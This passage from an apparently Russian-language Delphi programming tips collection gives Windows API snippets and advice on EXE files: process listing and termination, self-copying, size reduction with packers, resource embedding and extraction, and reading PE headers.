if paramstr(1) = '/f' then
  caption := 'Parameter "/f" was found';

Поставь этот код на событие формы onActivate, откомпиллируй и попробуй запустить программу с одним из 3х указанных параметров
и ты увидишь что произойдет.
К заголовку




" Как скопировать самого себя
CopyFile(PChar(ParamStr(0)), PChar('Новый_путь' +
 ExtractFileName(ParamStr(0))), True);
К заголовку




" Как убить задачу, зная только имя EXE
KillTask('notepad.exe');
KillTask('iexplore.exe');

//*-*-*-*-*

uses
  Tlhelp32, Windows, SysUtils;

function KillTask(ExeFileName: string): integer;
const
  PROCESS_TERMINATE=$0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  result := 0;

  FSnapshotHandle := CreateToolhelp32Snapshot
  (TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle,
  FProcessEntry32);

  while integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
    UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
    UpperCase(ExeFileName))) then
      Result := Integer(TerminateProcess(OpenProcess(
      PROCESS_TERMINATE, BOOL(0), FProcessEntry32.th32ProcessID), 0));
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;

  CloseHandle(FSnapshotHandle);
end;
К заголовку




" Как уменьшить размер EXE-файла
Generally, EXE files created with Delphi are larger than EXE files created with another programming language.
The reason is the VCL. (Sure, VCL has many advantages...)

There are several ways to reduce a EXE''s size:

01) Use a EXE-Packer (UPX, ASPack,...)
02) Use KOL.
03) Write your application without VCL
04) Use the ACL (API Controls Library)
05) Use StripReloc.
06) Deactivate remote debugging information and TD32.
07) You might want to put code in a dll.
08) Don''t put the same images several times on a form. Load them at runtime.
09) Use compressed images (JPG and not BMP)
10) Store less properties in DFM files
(See Link below "How To Make Your EXE''s Lighter")

11) Use the TStringList replacement by ~LOM~
Use the Minireg - TRegistry replacement by Ben Hochstrasser

{*****************************************}

Mit Delphi erstellte Exe-Dateien sind im allgemeinen einiges grцsser als solche, welche mit anderen
Programmiersprachen erzeugt wurden.
Der Grund dafьr ist die VCL.
(Klar, Die VCL hat viele Vorteile...)

Es gibt verschiedene Mцglichkeiten, um die Exe-Grцsse zu reduzieren.

01) Einen EXE-Packer verwenden (UPX, ASPack, ....)
02) KOL verwenden.
03) Die Anwendung ohne VCL schreiben (nur mit API, nonVCL)
04) Die ACL (API Controls Library) verwenden.
05) StripReloc verwenden.
06) Debug Informationen und TD32 ausschalten.
07) Code in eine Dll auslagern.
08) Wenn Bilder mehrmals verwendet werden,
dann nur einmal einbinden und die anderen zur Laufzeit laden.
09) Bilder komprimieren (nicht bmp sondern z.B das jpg Format verwenden)
10) Weniger Properties in den DFM Dateien speichern
(Siehe Link unten ("How To Make Your EXE''s Lighter")
11) Verwende den TStringList Ersatz von ~LOM~
Verwende die Minireg - TRegistry Ersatz von Ben Hochstrasser

{*****************************************}

// Further descriptions and links:
// Beschreibungen in Englisch und Links:

{****************************************************************}

01)
UPX is a free, portable, extendable, high-performance executable packer for several different executable formats.
It achieves an excellent compression ratio and offers very fast decompression. Your executables suffer no memory overhead or other drawbacks.

http://upx.sourceforge.net/

ASPack is an advanced Win32 executable file compressor, capable of reducing the file size of 32-bit
Windows programs by as much as 70%. (ASPack''s compression ratio improves upon the industry-standard zip
file format by as much as 10-20%.) ASPack makes Windows 95/98/NT programs and libraries smaller, and decrease
load times across networks, and download times from the internet; it also protects programs against reverse
engineering by non-professional hackers.
Programs compressed with ASPack are self-contained and run exactly as before, with no runtime performance penalties.

http://www.aspack.com/aspack.htm

{****************************************************************}

02)
KOL - Key Objects Library is a set of objects to develop power (but small) 32 bit Windows GUI applications using
Delphi but without VCL. It is distributed free of charge, with source code.

http://bonanzas.rinet.ru/

{****************************************************************}

03)
nonVCL
Delphi lets you have it both ways. If you want tiny EXE's, then don't use the VCL. Its entirely possible to use all
the rich features of Delphi IDE using 100% WinAPI calls, standard resources, etc.

http://nonvcl.luckie-online.de
http://www.erm.tu-cottbus.de/delphi/stuff/Tutorials/nonVCL/index.html
http://www.angelfire.com/hi5/delphizeus/
http://www.tutorials.delphi-source.de/nonvcl/

{****************************************************************}

04)
ACL (API Controls Library)
To write the program on pure API certainly it is possible, but I have deci- ded to reach both goals - both
to make that program and to receive the tool, through which it would be possible in further to build similar
programs, almost, as on Delphi with VCL. So the idea to create my own TWinControl and all standard Windows
controls classes, derived from it has appeared.

http://www.apress.ru/pages/bokovikov/delphi/index.html/

{****************************************************************}

05)
StripReloc is a free (GPL license) command line utility that removes the relocation (".reloc") section from
Win32 PE EXE files, reducing their size. Most compilers/linkers (including Delphi) put a relocation section in
EXE files, but this is actually not necessary since EXEs never get relocated. Hence, a relocation section only
wastes space.

Why not use an EXE compressor?
http://www.jrsoftware.org/striprlc.php
{****************************************************************}

06)
Deactivating the Debug Information

Exclude any debug information for the final build (project-Options Compiler - Debugging and project-Options
Linker EXE and DLL options) Dependeing on the amount of Debug information, Debugging can take up until half
of the size.

The options that are going to singificantly reduce your file size are "Include TD32 debug info" and
"Build with runtime packages". If you are shipping commercial applications, you usually don''t need the debug
info linked with your project.

{****************************************************************}

08/09)
About Images

The forms in your project have any bitmaps on them, then these are compiled into the EXE. If you use the same
bitmap multiple times, don''t assign them at design-time in the IDE as it will be included in the EXE multiple
times, assign them in code instead.
This can help reduce the size of the EXE, especially if you use large bitmaps.

Use JPEG-files instead of BMP-files. This also reduces the EXE size.

{****************************************************************}

10)
How To Make Your EXE''s Lighter:
http://www.undu.com/DN970301/00000064.htm

{****************************************************************}

11)
TStringList replacement by ~LOM~
Minireg - TRegistry replacement
К заголовку




" Как экспортировать процедуру в EXE файле
В DPR файле совершенно обычного проэкта дельфи можно указать функцию (процедуру) и объявить ее как
экспортируемую - синтаксис точно такой-же как при создании стандартной DLL. С таким довеском EXE совершенно
нормально компиллируется и работает и как EXE и как DLL (т.е. из нее можно импортировать описанные функции).
Зачем это нужно? Была одна задача - делал консоль которая связывала воедино несколько приложений, так экспортные
функции позволяли существенно расширять функциональность комплекса. Правда такой EXE все же имеет недостаток - EXE
упаковщики сохраняют исполняемую часть и неправильно упаковывают экспортированную...
К заголовку




" Как, зная Handle окна программы, определить имя EXE
// Для начала определяешь какому процессу принадлежит окно:

Var pProcID : ^DWORD;
begin
 GetMem (pProcID, SizeOf (DWORD));
 GetWindowThreadProcessId (WinHandle, pProcID);
end;

// а после этого используешь TProcessEntry32 примерно так:

function GetExeNameByProcID (ProcID : DWord) : String;
var
 ContinueLoop   : BOOL;
 FSnapshotHandle : THandle;
 FProcessEntry32 : TProcessEntry32;
begin
 FSnapshotHandle := CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0);

 FProcessEntry32.dwSize := Sizeof(FProcessEntry32);

 ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);

 Result := '';
 while (Integer (ContinueLoop) <> 0) and (Result='') do
 begin
  if FProcessEntry32.th32ProcessID = ProcID then
   Result := FProcessEntry32.szExeFile;
  ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
 end;
end;

// Не забудь в uses добавить Tlhelp32
К заголовку




" Определить тип EXE-файла
 function GetEXEType(FileName: string): string;
 var
   BinaryType: DWORD;
 begin
   if GetBinaryType(PChar(FileName), Binarytype) then
     case BinaryType of
       SCS_32BIT_BINARY: Result := 'Win32 executable';
       SCS_DOS_BINARY: Result   := 'DOS executable';
       SCS_WOW_BINARY: Result   := 'Win16 executable';
       SCS_PIF_BINARY: Result   := 'PIF file';
       SCS_POSIX_BINARY: Result := 'POSIX executable';
       SCS_OS216_BINARY: Result := 'OS/2 16 bit executable'
         else
           Result := 'unknown executable'
     end
   else
     Result := 'File is not an executable';
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   label1.Caption := GetEXEType('c:\windows\notepad.exe');
 end;


 {
 Windows NT/2000: Requires Windows NT 3.5 or later.
 Windows 95/98: Unsupported.
}

---------------------------------------------

type
   TExeType = (etUnknown, etDOS, etWinNE {16-bit}, etWinPE {32-bit});

 function GetExeType(const FileName: string): TExeType;
 { func to return the type of executable or dll (DOS, 16-bit, 32-bit). }
 (**************************************************************
 Usage:
   with OpenDialog1 do
     if Execute then
       begin
         Label1.Caption := FileName;
         Label2.Caption := ExeStrings[GetExetype(FileName)];
       end;

   - or -

   case GetExeType(OpenDialog1.FileName) of
     etUnknown: Label3.Caption := 'Unknown file type';
     etDOS    : Label3.Caption := 'DOS executable';
     etWinNE  : {16-bit} Label3.Caption := 'Windows 16-bit executable';
     etWinPE  : {32-bit} Label3.Caption := 'Windows 32-bit executable';
   end;
 ***************************************************************)
 var
   Signature,
   WinHdrOffset: Word;
   fexe: TFileStream;
 begin
   Result := etUnknown;
   try
     fexe := TFileStream.Create(FileName, fmOpenRead or fmShareDenyNone);
     try
       fexe.ReadBuffer(Signature, SizeOf(Signature));
       if Signature = $5A4D { 'MZ' } then
         begin
           Result := etDOS;
           fexe.Seek($18, soFromBeginning);
           fexe.ReadBuffer(WinHdrOffset, SizeOf(WinHdrOffset));
           if WinHdrOffset >= $40 then
             begin
               fexe.Seek($3C, soFromBeginning);
               fexe.ReadBuffer(WinHdrOffset, SizeOf(WinHdrOffset));
               fexe.Seek(WinHdrOffset, soFrombeginning);
               fexe.ReadBuffer(Signature, SizeOf(Signature));
               if Signature = $454E { 'NE' } then
                 Result := etWinNE
               else
                 if Signature = $4550 { 'PE' } then
                   Result := etWinPE;
             end;
         end;
     finally
       fexe.Free;
     end;
   except
   end;
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if OpenDialog1.Execute then
     case GetExeType(OpenDialog1.FileName) of
       etUnknown: Label_ExeType.Caption := 'Unknown file type';
       etDOS    : Label_ExeType.Caption := 'DOS executable';
       etWinNE  : Label_ExeType.Caption := 'Windows 16-bit executable';
       etWinPE  : Label_ExeType.Caption := 'Windows 32-bit executable';
     end;
 end;
К заголовку




" Получить путь к EXE по дескриптору окна
uses
   PsAPI, TlHelp32;
 // portions by Project Jedi www.delphi-jedi.org/
const
   RsSystemIdleProcess = 'System Idle Process';
   RsSystemProcess = 'System Process';

 function IsWinXP: Boolean;
 begin
   Result := (Win32Platform = VER_PLATFORM_WIN32_NT) and
     (Win32MajorVersion = 5) and (Win32MinorVersion = 1);
 end;

 function IsWin2k: Boolean;
 begin
   Result := (Win32MajorVersion >= 5) and
     (Win32Platform = VER_PLATFORM_WIN32_NT);
 end;

 function IsWinNT4: Boolean;
 begin
   Result := Win32Platform = VER_PLATFORM_WIN32_NT;
   Result := Result and (Win32MajorVersion = 4);
 end;

 function IsWin3X: Boolean;
 begin
   Result := Win32Platform = VER_PLATFORM_WIN32_NT;
   Result := Result and (Win32MajorVersion = 3) and
     ((Win32MinorVersion = 1) or (Win32MinorVersion = 5) or
     (Win32MinorVersion = 51));
 end;

 function RunningProcessesList(const List: TStrings; FullPath: Boolean): Boolean;

   function ProcessFileName(PID: DWORD): string;
   var
     Handle: THandle;
   begin
     Result := '';
     Handle := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, False, PID);
     if Handle <> 0 then
       try
         SetLength(Result, MAX_PATH);
         if FullPath then
         begin
           if GetModuleFileNameEx(Handle, 0, PChar(Result), MAX_PATH) > 0 then
             SetLength(Result, StrLen(PChar(Result)))
           else
             Result := '';
         end
         else
         begin
           if GetModuleBaseNameA(Handle, 0, PChar(Result), MAX_PATH) > 0 then
             SetLength(Result, StrLen(PChar(Result)))
           else
             Result := '';
         end;
       finally
         CloseHandle(Handle);
       end;
   end;

   function BuildListTH: Boolean;
   var
     SnapProcHandle: THandle;
     ProcEntry: TProcessEntry32;
     NextProc: Boolean;
     FileName: string;
   begin
     SnapProcHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
     Result := (SnapProcHandle <> INVALID_HANDLE_VALUE);
     if Result then
       try
         ProcEntry.dwSize := SizeOf(ProcEntry);
         NextProc := Process32First(SnapProcHandle, ProcEntry);
         while NextProc do
         begin
           if ProcEntry.th32ProcessID = 0 then
           begin
             // PID 0 is always the "System Idle Process" but this name cannot be
            // retrieved from the system and has to be fabricated.
            FileName := RsSystemIdleProcess;
           end
           else
           begin
             if IsWin2k or IsWinXP then
             begin
               FileName := ProcessFileName(ProcEntry.th32ProcessID);
               if FileName = '' then
                 FileName := ProcEntry.szExeFile;
             end
             else
             begin
               FileName := ProcEntry.szExeFile;
               if not FullPath then
                 FileName := ExtractFileName(FileName);
             end;
           end;
           List.AddObject(FileName, Pointer(ProcEntry.th32ProcessID));
           NextProc := Process32Next(SnapProcHandle, ProcEntry);
         end;
       finally
         CloseHandle(SnapProcHandle);
       end;
   end;

   function BuildListPS: Boolean;
   var
     PIDs: array [0..1024] of DWORD;
     Needed: DWORD;
     I: Integer;
     FileName: string;
   begin
     Result := EnumProcesses(@PIDs, SizeOf(PIDs), Needed);
     if Result then
     begin
       for I := 0 to (Needed div SizeOf(DWORD)) - 1 do
       begin
         case PIDs[I] of
           0:
             // PID 0 is always the "System Idle Process" but this name cannot be
            // retrieved from the system and has to be fabricated.
            FileName := RsSystemIdleProcess;
           2:
             // On NT 4 PID 2 is the "System Process" but this name cannot be
            // retrieved from the system and has to be fabricated.
            if IsWinNT4 then
               FileName := RsSystemProcess
             else
               FileName := ProcessFileName(PIDs[I]);
             8:
             // On Win2K PID 8 is the "System Process" but this name cannot be
            // retrieved from the system and has to be fabricated.
            if IsWin2k or IsWinXP then
               FileName := RsSystemProcess
             else
               FileName := ProcessFileName(PIDs[I]);
             else
               FileName := ProcessFileName(PIDs[I]);
         end;
         if FileName <> '' then
           List.AddObject(FileName, Pointer(PIDs[I]));
       end;
     end;
   end;
 begin
   if IsWin3X or IsWinNT4 then
     Result := BuildListPS
   else
     Result := BuildListTH;
 end;

 function GetProcessNameFromWnd(Wnd: HWND): string;
 var
   List: TStringList;
   PID: DWORD;
   I: Integer;
 begin
   Result := '';
   if IsWindow(Wnd) then
   begin
     PID := INVALID_HANDLE_VALUE;
     GetWindowThreadProcessId(Wnd, @PID);
     List := TStringList.Create;
     try
       if RunningProcessesList(List, True) then
       begin
         I := List.IndexOfObject(Pointer(PID));
         if I > -1 then
           Result := List[I];
       end;
     finally
       List.Free;
     end;
   end;
 end;
К заголовку




" Прочитать список всех запущенных Exe и проверить, запущен ли Exe
uses
  Psapi, tlhelp32;

procedure CreateWin9xProcessList(List: TstringList);
var
  hSnapShot: THandle;
  ProcInfo: TProcessEntry32;
begin
  if List = nil then
    Exit;
  hSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (hSnapShot <> THandle(-1)) then
  begin
    ProcInfo.dwSize := SizeOf(ProcInfo);
    if (Process32First(hSnapshot, ProcInfo)) then
    begin
      List.Add(ProcInfo.szExeFile);
      while (Process32Next(hSnapShot, ProcInfo)) do
        List.Add(ProcInfo.szExeFile);
    end;
    CloseHandle(hSnapShot);
  end;
end;

procedure CreateWinNTProcessList(List: TstringList);
var
  PIDArray: array[0..1023] of DWORD;
  cb: DWORD;
  I: Integer;
  ProcCount: Integer;
  hMod: HMODULE;
  hProcess: THandle;
  ModuleName: array[0..300] of Char;
begin
  if List = nil then
    Exit;
  EnumProcesses(@PIDArray, SizeOf(PIDArray), cb);
  ProcCount := cb div SizeOf(DWORD);
  for I := 0 to ProcCount - 1 do
  begin
    hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or
      PROCESS_VM_READ,
      False,
      PIDArray[I]);
    if (hProcess <> 0) then
    begin
      EnumProcessModules(hProcess, @hMod, SizeOf(hMod), cb);
      GetModuleFilenameEx(hProcess, hMod, ModuleName, SizeOf(ModuleName));
      List.Add(ModuleName);
      CloseHandle(hProcess);
    end;
  end;
end;

procedure GetProcessList(var List: TstringList);
var
  ovi: TOSVersionInfo;
begin
  if List = nil then
    Exit;
  ovi.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  GetVersionEx(ovi);
  case ovi.dwPlatformId of
    VER_PLATFORM_WIN32_WINDOWS: CreateWin9xProcessList(List);
    VER_PLATFORM_WIN32_NT: CreateWinNTProcessList(List);
  end
end;

function EXE_Running(FileName: string; bFullpath: Boolean): Boolean;
var
  i: Integer;
  MyProcList: TstringList;
begin
  MyProcList := TStringList.Create;
  try
    GetProcessList(MyProcList);
    Result := False;
    if MyProcList = nil then
      Exit;
    for i := 0 to MyProcList.Count - 1 do
    begin
      if not bFullpath then
      begin
        if CompareText(ExtractFileName(MyProcList.Strings[i]), FileName) = 0
          then
          Result := True
      end
      else if CompareText(MyProcList.strings[i], FileName) = 0 then
        Result := True;
      if Result then
        Break;
    end;
  finally
    MyProcList.Free;
  end;
end;

// Example 1: Is a Exe-File running ?

procedure TForm1.Button1Click(Sender: TObject);
begin
  if EXE_Running('Notepad.exe', False) then
    ShowMessage('EXE is running')
  else
    ShowMessage('EXE is not running');
end;

// Example 2: List running Exe-Files

procedure TForm1.Button3Click(Sender: TObject);
var
  i: Integer;
  MyProcList: TstringList;
begin
  MyProcList := TStringList.Create;
  try
    GetProcessList(MyProcList);
    if MyProcList = nil then
      Exit;
    for i := 0 to MyProcList.Count - 1 do
      ListBox1.Items.Add(MyProcList.Strings[i]);
  finally
    MyProcList.Free;
  end;
end;
К заголовку




" Сохранение и выдёргивание ресурсов в DLL или EXE
Иногда возникает необходимость вшить ресурсы в исполняемый файл Вашего приложения (например чтобы предотвратить
их случайное удаление пользователем, либо, чтобы защитить их от изменений). Данный пример показывает как вшить
любой файл как ресурс в EXE-шнике.

Далее рассмотрим, как создать файл ресурсов, содержащий корию какого-либо файла. После создания такого файла его
можно легко прицепить к Вашему проекту директивой {$R}. Файл ресурсов, который мы будем создавать имеет следующий
формат:

    * заголовок
    * заголовок для нашего RCDATA ресурса
    * собственно данные - RCDATA ресурс

В данном примере будет показано, как сохранить в файле ресурсов только один файл, но думаю, что так же легко
Вы сможете сохранить и несколько файлов.

Заголовок ресурса выглядит следующим образом:

TResHeader = record
  DataSize: DWORD;        // размер данных
  HeaderSize: DWORD;      // размер этой записи
  ResType: DWORD;         // нижнее слово = $FFFF => ordinal
  ResId: DWORD;           // нижнее слово = $FFFF => ordinal
  DataVersion: DWORD;     // *
  MemoryFlags: WORD;
  LanguageId: WORD;       // *
  Version: DWORD;         // *
  Characteristics: DWORD; // *
end;


Поля помеченны звёздочкой Мы не будем использовать.

Приведённый код создаёт файл ресурсов и копирует его в данный файл:

procedure CreateResourceFile(
  DataFile, ResFile: string; // имена файлов
  ResID: Integer // id ресурсов
  );
var
  FS, RS: TFileStream;
  FileHeader, ResHeader: TResHeader;
  Padding: array [0..SizeOf(DWORD)-1] of Byte;
begin

  { Open input file and create resource file }
  FS := TFileStream.Create( // для чтения данных из файла
  DataFile, fmOpenRead);
  RS := TFileStream.Create( // для записи файла ресурсов
  ResFile, fmCreate);

  { Создаём заголовок файла ресурсов - все нули, за исключением
  HeaderSize, ResType и ResID }
  FillChar(FileHeader, SizeOf(FileHeader), #0);
  FileHeader.HeaderSize := SizeOf(FileHeader);
  FileHeader.ResId := $0000FFFF;
  FileHeader.ResType := $0000FFFF;

  { Создаём заголовок данных для RC_DATA файла
  Внимание: для создания более одного ресурса необходимо
  повторить следующий процесс, используя каждый раз различные
  ID ресурсов }
  FillChar(ResHeader, SizeOf(ResHeader), #0);
  ResHeader.HeaderSize := SizeOf(ResHeader);
  // id ресурса - FFFF означает "не строка!"
  ResHeader.ResId := $0000FFFF or (ResId shl 16);
  // тип ресурса - RT_RCDATA (from Windows unit)
  ResHeader.ResType := $0000FFFF
  or (WORD(RT_RCDATA) shl 16);
  // размер данных - есть размер файла
  ResHeader.DataSize := FS.Size;
  // Устанавливаем необходимые флаги памяти
  ResHeader.MemoryFlags := $0030;

  { Записываем заголовки в файл ресурсов }
  RS.WriteBuffer(FileHeader, sizeof(FileHeader));
  RS.WriteBuffer(ResHeader, sizeof(ResHeader));

  { Копируем файл в ресурс }
  RS.CopyFrom(FS, FS.Size);

  { Pad data out to DWORD boundary - any old
  rubbish will do!}
  if FS.Size mod SizeOf(DWORD) <> 0 then
    RS.WriteBuffer(Padding, SizeOf(DWORD) -
    FS.Size mod SizeOf(DWORD));

  { закрываем файлы }
  FS.Free;
  RS.Free;
end;


Данный код не совсем красив, и отсутствует обработка ошибок. Правильнее будет создать класс, включающий в себя данный пример.

Извлечение ресурсов из EXE

теперь рассмотрим пример, показывающий, как извлекать ресурсы из исполняемого модуля.

Вся процедура заключается в создании потока ресурса, создании файлового потока и копировании из потока ресурса в поток файла.

procedure ExtractToFile(Instance:THandle; ResID:Integer; ResType, FileName:string);
var
  ResStream: TResourceStream;
  FileStream: TFileStream;
begin
  try
    ResStream := TResourceStream.CreateFromID(Instance, ResID, pChar(ResType));
    try
      //if FileExists(FileName) then
      //DeleteFile(pChar(FileName));
      FileStream := TFileStream.Create(FileName, fmCreate);
      try
        FileStream.CopyFrom(ResStream, 0);
      finally
        FileStream.Free;
      end;
    finally
      ResStream.Free;
    end;
  except
    on E:Exception do
    begin
      DeleteFile(FileName);
      raise;
    end;
  end;
end;


Всё, что требуется, это получить Instance exe-шника или dll (у Вашего приложения это Application.Instance или
Application.Handle, для dll Вам придётся получить его самостоятельно :)

ResID
    тот же самый ID , который был присвоен ресурсу
ResType: WAVEFILE, BITMAP, CURSOR, CUSTOM
    это типы ресурсов, с которыми возможно работать, но у меня получилось успешно проделать процедуру только с CUSTOM
FileName
    это имя файла, который мы хотим создать из ресурса
К заголовку




" Хранение данных в EXE-файле
Вы можете включить любой тип данных как RCDATA или пользовательских тип ресурса. Это очень просто. Данный
совет покажет вам общую технику создания такого ресурса.

Type
  TStrItem = String[39];  { 39 символов + байт длины -> 40 байтов }
  TDataArray = Array [0..7, 0..24] of TStrItem;

Const
  Data: TDataArray = (
  ('..', ...., '..' ),  { 25 строк на строку }
  ...                   { 8 таких строк }
  ('..', ...., '..' )); { 25 строк на строку }


Данные размещаются в вашем сегменте данных и занимают в нем 8K. Если это слишком много для вашего приложения,
поместите реальные данные в ресурс RCDATA. Следующие шаги демонстрируют данный подход. Создайте небольшую безоконную
программку, объявляющую типизированную константу как показано выше, и запишите результат в файл на локальный диск:

program MakeData;
type
  TStrItem = string[39]; { 39 символов + байт длины -> 40 байтов }
  TDataArray = array[0..7, 0..24] of TStrItem;

const
  Data: TDataArray = (
    ('..', ...., '..'), { 25 строк на строку }
    ... { 8 таких строк }
    ('..', ...., '..')); { 25 строк на строку }

var
  F: file of TDataArray;
begin
  Assign(F, 'data.dat');
  Rewrite(F);
  Write(F, Data);
  Close(F);
end.


Теперь подготовьте файл ресурса и назовите его DATA.RC. Он должен содержать только следующую строчку:

 DATAARRAY RCDATA "data.dat"

Сохраните это, откройте сессию DOS, перейдите в каталог где вы сохранили data.rc (там же, где и data.dat!) и
выполните следующую команду:

 brcc data.rc   (brcc32 для Delphi 2.0)

Теперь вы имеете файл data.res, который можете подключить к своему Delphi-проекту. Во время выполнения приложения
вы можете генерировать указатель на данные этого ресурса и иметь к ним доступ, что и требовалось.

{ в секции interface модуля  }
type
  TStrItem = string[39]; { 39 символов + байт длины -> 40 байтов }
  TDataArray = array[0..7, 0..24] of TStrItem;
  PDataArray = ^TDataArray;
const
  pData: PDataArray = nil; { в Delphi 2.0 используем Var }

implementation
{$R DATA.RES}

procedure LoadDataResource;
var
  dHandle: THandle;
begin
  { pData := Nil; если pData - Var }
  dHandle := FindResource(hInstance, 'DATAARRAY', RT_RCDATA);
  if dHandle <> 0 then
  begin
    dhandle := LoadResource(hInstance, dHandle);
    if dHandle <> 0 then
      pData := LockResource(dHandle);
  end;
  if pData = nil then
    { неудача, получаем сообщение об ошибке с помощью
    WinProcs.MessageBox, без помощи VCL, поскольку здесь код
    выполняется как часть инициализации программы и VCL
    возможно еще не инициализирован! }
end;

initialization
  LoadDataResource;
end.


Теперь вы можете ссылаться на элементы массива с помощью синтаксиса pData^[i,j].
К заголовку




" Читаем заголовок exe файла
procedure DumpDOSHeader(const h: IMAGE_DOS_HEADER; Lines: TStrings);
begin
  Lines.Add('Dump of DOS file header');
  Lines.Add(Format('Magic number: %d', [h.e_magic]));
  Lines.Add(Format('Bytes on last page of file: %d', [h.e_cblp]));
  Lines.Add(Format('Pages in file: %d', [h.e_cp]));
  Lines.Add(Format('Relocations: %d', [h.e_crlc]));
  Lines.Add(Format('Size of header in paragraphs: %d', [h.e_cparhdr]));
  Lines.Add(Format('Minimum extra paragraphs needed: %d', [h.e_minalloc]));
  Lines.Add(Format('Maximum extra paragraphs needed: %d', [h.e_maxalloc]));
  Lines.Add(Format('Initial (relative) SS value: %d', [h.e_ss]));
  Lines.Add(Format('Initial SP value: %d', [h.e_sp]));
  Lines.Add(Format('Checksum: %d', [h.e_csum]));
  Lines.Add(Format('Initial IP value: %d', [h.e_ip]));
  Lines.Add(Format('Initial (relative) CS value: %d', [h.e_cs]));
  Lines.Add(Format('File address of relocation table: %d', [h.e_lfarlc]));
  Lines.Add(Format('Overlay number: %d', [h.e_ovno]));
  Lines.Add(Format('OEM identifier (for e_oeminfo): %d', [h.e_oemid]));
  Lines.Add(Format('OEM information; e_oemid specific: %d', [h.e_oeminfo]));
  Lines.Add(Format('File address of new exe header: %d', [h._lfanew]));
  Lines.Add('');
end;

procedure DumpPEHeader(const h: IMAGE_FILE_HEADER; Lines: TStrings);
var
  dt: TDateTime;
begin
  Lines.Add('Dump of PE file header');
  Lines.Add(Format('Machine: %4x', [h.Machine]));
  case h.Machine of
    IMAGE_FILE_MACHINE_UNKNOWN: Lines.Add(' MACHINE_UNKNOWN ');
    IMAGE_FILE_MACHINE_I386: Lines.Add(' Intel 386. ');
    IMAGE_FILE_MACHINE_R3000:
      Lines.Add(' MIPS little-endian, 0x160 big-endian ');
    IMAGE_FILE_MACHINE_R4000: Lines.Add(' MIPS little-endian ');
    IMAGE_FILE_MACHINE_R10000: Lines.Add(' MIPS little-endian ');
    IMAGE_FILE_MACHINE_ALPHA: Lines.Add(' Alpha_AXP ');
    IMAGE_FILE_MACHINE_POWERPC: Lines.Add(' IBM PowerPC Little-Endian ');
    // some values no longer defined in winnt.h
    $14D: Lines.Add(' Intel i860');
    $268: Lines.Add(' Motorola 68000');
    $290: Lines.Add(' PA RISC');
  else
    Lines.Add(' unknown machine type');
  end; { Case }
  Lines.Add(Format('NumberOfSections: %d', [h.NumberOfSections]));
  Lines.Add(Format('TimeDateStamp: %d', [h.TimeDateStamp]));
  dt := EncodeDate(1970, 1, 1) + h.Timedatestamp / SecsPerDay;
  Lines.Add(FormatDateTime(' c', dt));

  Lines.Add(Format('PointerToSymbolTable: %d', [h.PointerToSymbolTable]));
  Lines.Add(Format('NumberOfSymbols: %d', [h.NumberOfSymbols]));
  Lines.Add(Format('SizeOfOptionalHeader: %d', [h.SizeOfOptionalHeader]));
  Lines.Add(Format('Characteristics: %d', [h.Characteristics]));
  if (IMAGE_FILE_DLL and h.Characteristics) <> 0 then
    Lines.Add(' file is a DLL')
  else if (IMAGE_FILE_EXECUTABLE_IMAGE and h.Characteristics) <> 0 then
    Lines.Add(' file is a program');
  Lines.Add('');
end;

procedure DumpOptionalHeader(const h: IMAGE_OPTIONAL_HEADER; Lines: TStrings);
begin
  Lines.Add('Dump of PE optional file header');
  Lines.Add(Format('Magic: %d', [h.Magic]));
  case h.Magic of
    $107: Lines.Add(' ROM image');
    $10B: Lines.Add(' executable image');
  else
    Lines.Add(' unknown image type');
  end; { If }
  Lines.Add(Format('MajorLinkerVersion: %d', [h.MajorLinkerVersion]));
  Lines.Add(Format('MinorLinkerVersion: %d', [h.MinorLinkerVersion]));
  Lines.Add(Format('SizeOfCode: %d', [h.SizeOfCode]));
  Lines.Add(Format('SizeOfInitializedData: %d', [h.SizeOfInitializedData]));
  Lines.Add(Format('SizeOfUninitializedData: %d', [h.SizeOfUninitializedData]));
  Lines.Add(Format('AddressOfEntryPoint: %d', [h.AddressOfEntryPoint]));
  Lines.Add(Format('BaseOfCode: %d', [h.BaseOfCode]));
  Lines.Add(Format('BaseOfData: %d', [h.BaseOfData]));
  Lines.Add(Format('ImageBase: %d', [h.ImageBase]));
  Lines.Add(Format('SectionAlignment: %d', [h.SectionAlignment]));
  Lines.Add(Format('FileAlignment: %d', [h.FileAlignment]));
  Lines.Add(Format('MajorOperatingSystemVersion: %d',
    [h.MajorOperatingSystemVersion]));
  Lines.Add(Format('MinorOperatingSystemVersion: %d',
    [h.MinorOperatingSystemVersion]));
  Lines.Add(Format('MajorImageVersion: %d', [h.MajorImageVersion]));
  Lines.Add(Format('MinorImageVersion: %d', [h.MinorImageVersion]));
  Lines.Add(Format('MajorSubsystemVersion: %d', [h.MajorSubsystemVersion]));
  Lines.Add(Format('MinorSubsystemVersion: %d', [h.MinorSubsystemVersion]));
  Lines.Add(Format('Win32VersionValue: %d', [h.Win32VersionValue]));
  Lines.Add(Format('SizeOfImage: %d', [h.SizeOfImage]));
  Lines.Add(Format('SizeOfHeaders: %d', [h.SizeOfHeaders]));
  Lines.Add(Format('CheckSum: %d', [h.CheckSum]));
  Lines.Add(Format('Subsystem: %d', [h.Subsystem]));
  case h.Subsystem of
    IMAGE_SUBSYSTEM_NATIVE:
      Lines.Add(' Image doesnot require a subsystem. ');
    IMAGE_SUBSYSTEM_WINDOWS_GUI:
      Lines.Add(' Image runs in the Windows GUI subsystem. ');
    IMAGE_SUBSYSTEM_WINDOWS_CUI:
      Lines.Add(' Image runs in the Windows character subsystem. ');
    IMAGE_SUBSYSTEM_OS2_CUI:
